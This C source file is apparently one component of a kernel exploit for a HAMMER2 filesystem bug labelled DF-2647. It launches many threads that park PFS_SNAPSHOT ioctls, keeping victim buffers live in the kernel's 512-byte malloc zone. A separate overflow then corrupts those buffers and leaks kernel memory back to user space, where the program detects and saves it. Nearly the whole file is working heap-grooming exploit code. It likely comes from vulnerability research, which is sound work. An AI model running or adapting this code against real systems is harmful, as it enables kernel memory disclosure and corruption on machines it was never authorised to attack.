DF-2647 / pfsnap_victim.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-2647 deterministic parked-victim wall. * * Each thread runs HAMMER2IOC_PFS_SNAPSHOT, which takes hmp->bulklk and * then syncs the whole filesystem (hammer2_ioctl.c:835-849) -- i.e. the * ioctl's 320-byte kmalloc'd M_IOCTLOPS buffer stays LIVE in the kernel * (512-byte malloc zone, same zone as PFS_GET's buffer) for a long time. * N threads park on bulklk (serialized) => a wall of live victim buffers * in the 512-zone slabs. A concurrent PFS_GET scan (the smear) that * lands below any of them overwrites its name[] with image bytes; the * copyout at ioctl end returns them to this thread. * * usage: pfsnap_victim <mountpoint-dir> <nthreads> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> struct df2647_pfs { uint64_t name_key; uint64_t name_next; uint8_t pfs_type; uint8_t pfs_subtype; uint8_t reserved0012; uint8_t reserved0013; uint32_t pfs_flags; uint64_t reserved0018; unsigned char pfs_fsid[16]; unsigned char pfs_clid[16]; char name[256]; }; #define DF2647_PFS_SNAPSHOT _IOWR('h', 84, struct df2647_pfs) static const char stamp[8] = "DF2647!!"; static volatile int hits = 0; static void * thr(void *arg) { long id = (long)arg; struct df2647_pfs pfs; int fd, i, j; char nm[32]; snprintf(nm, sizeof(nm), "sv%03ld", id); fd = open(getenv("DF2647_MNT") ? getenv("DF2647_MNT") : "/mnt/h2", O_RDONLY); if (fd < 0) { perror("open"); return NULL; } memset(&pfs, 0, sizeof(pfs)); snprintf(pfs.name, sizeof(pfs.name), "%s", nm); if (ioctl(fd, DF2647_PFS_SNAPSHOT, &pfs) != 0) fprintf(stderr, "victim %s: snapshot errno=%d (%s)\n", nm, errno, strerror(errno)); /* scan the whole returned buffer for the smear marker */ for (i = 0; i < (int)sizeof(pfs) - 8; ++i) { for (j = 0; j < 8; ++j) if (((char *)&pfs)[i + j] != stamp[j]) break; if (j == 8) { FILE *f; char fn[64]; __sync_fetch_and_add(&hits, 1); printf("victim %s: MARKER HIT at buffer+%d " "(errno-note above may apply)\n", nm, i); fflush(stdout); snprintf(fn, sizeof(fn), "/tmp/victim_hit_%s.txt", nm); f = fopen(fn, "w"); if (f) { fprintf(f, "hit_at_offset=%d\n", i); fwrite(&pfs, sizeof(pfs), 1, f); fclose(f); } break; } } close(fd); return NULL; } int main(int argc, char **argv) { pthread_t t[512]; long i, n; int rc; if (argc < 3) { fprintf(stderr, "usage: %s <mnt> <nthreads>\n", argv[0]); return 2; } setenv("DF2647_MNT", argv[1], 1); n = atol(argv[2]); if (n > 512) n = 512; printf("pfsnap_victim: launching %ld parked snapshots\n", n); fflush(stdout); for (i = 0; i < n; ++i) { rc = pthread_create(&t[i], NULL, thr, (void *)i); if (rc) { printf("pthread_create failed at %ld: %d\n", i, rc); n = i; break; } } for (i = 0; i < n; ++i) pthread_join(t[i], NULL); printf("pfsnap_victim: done, hits=%d\n", hits); return (hits != 0); } |